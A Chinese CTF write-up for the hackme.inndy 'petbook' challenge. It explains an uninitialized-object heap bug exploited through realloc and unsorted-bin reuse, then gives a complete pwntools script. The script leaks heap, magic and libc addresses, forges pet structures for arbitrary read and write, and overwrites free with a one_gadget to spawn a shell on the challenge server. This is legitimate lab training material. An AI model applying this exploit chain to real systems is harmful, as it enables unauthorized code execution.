hackme inndy petbook writeup

这题一直没人做,感觉好像很难,其实是自己吓倒自己

这题的漏洞其实很明显,就是没有初始化对象,所以可以控制新new出来的user的pet的地址和post的地址

这里说下怎么控制

·1. new一个比一个user大,即大于536字节的post
2. edit这个post,将这个post弄成更大的,这个时候realloc会把原来的堆给free掉,然后再new一个新的堆
3. 这个时候再new一个user,因为给realloc那个堆是大于536字节的,是unsorted bin,然后这个时候new user的话会将这个堆分割一部分给user,只要在new那个post的时候往对应地方填上想填的东西就可以控制了

这里可以控制pet和post,但是因为post想打印内容的时候要检查magic,我们又没有泄漏magic,所以这里控制pet的地址

因为控制了pet,所以可以任意写和任意读

方法如下
1. 先new一个user,按照上面方法,new 一个post,edit这个post,将pet的地址指向userdb
2. 这个时候new一个user,打印信息的时候可以打印出堆里面的一个地址
3. 以这个堆地址为基准,用gdb看下新new出来的post的地址与这个地址的偏移,这个时候在post里面弄一个fake pet,然后新new user的时候地址指向这个post,因为fake pet我们可以控制,所以这个时候就可以进行任意读
4. 借任意读先读出magic和libc函数的地址
5. 然后这个时候可以用magic来构造一个通过检测的pet,可以进行任意写,然后用one gadgets填到free那里,然后abandon pet,get到shell

payload如下

from pwn import *

debug=0
if debug:
    p=process('./petbook')
    context.log_level='debug'
    gdb.attach(proc.pidof(p)[0])
    e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
    one_gadget=0x3f2d6
else:
    context.log_level='debug'
    p=remote('hackme.inndy.tw', 7710)
    e=ELF('./libc.so')
    one_gadget=0x45206

def se(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def reg(name,pwd,line=True):
    se('1')
    ru('Username >>')
    if line:
        se(name)
    else:
        p.send(name)
    ru('Password >>')
    se(pwd)
    ru('>>')

def login(name,pwd):
    se('2')
    ru('>>')
    se(name)
    ru('>>')
    se(pwd)
    p.recvuntil('Have Pet: ')
    if p.recv(1)=='Y':
        ru('Name: ')
        name_data=p.recvuntil('\n')[:-1]
        p.recvuntil('Type: ')
        type_data=p.recvuntil('\n')[:-1]
        ru('>>')
        return name_data,type_data
    ru('>>')

def logout():
    se('0')
    ru('>>')

def new_post(title,length,content):
    se('1')
    ru('Title >>')
    se(title)
    ru('Length >>')
    se(str(length))
    ru('Content >>')
    se(content)
    ru('>>')

def edit_post(id,title,length,content):
    se('3')
    ru('id >>')
    se(str(id))
    ru('title >>')
    se(title)
    ru('size >>')
    se(str(length))
    ru('Content >>')
    se(content)
    ru('>>')


def pet_adopt(name):
    se('5')
    ru('Name')
    se(name)
    ru('>>')

def pet_rename(name):
    se('6')
    ru('>>')
    se(name)
    ru('>>')

def pet_abandon():
    se('7')

def admin_info():
    se('999')



reg('u1','u1')
login('u1','u1')
new_post('1',700,'a'*520+p64(0x603158-16))
edit_post(2,'1',1500,'a')
logout()


reg('u2','u2')
heap=login('u2','u2')
heap=u32(heap[1]+'\x00'*(4-len(heap[1])))

fake_pet=p64(0xdeadbeef)+p64(0x603164)+p64(0x603038)
pet_offset=0xf30

new_post('2',700,'a'*520+p64(heap+pet_offset))
new_post('3',700,fake_pet)
edit_post(4,'1',1500,'b')
logout()

reg('u3','u3')
data=login('u3','u3')
magic=data[0]
libc=data[1]

magic=u32(magic)
base=u64(libc+'\x00\x00')-e.symbols['puts']

fake_pet2=p64(magic+0x300000000)+p64(0x603018)+p64(0x603018)
pet_offset2=0xd80

new_post('4',700,'c'*520+p64(heap+pet_offset2))
new_post('5',60,fake_pet2)
edit_post(7,'2',1500,'c')
logout()

reg('u4','u4')
login('u4','u4')

pet_rename(p64(base+one_gadget)[:-1])
pet_abandon()

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值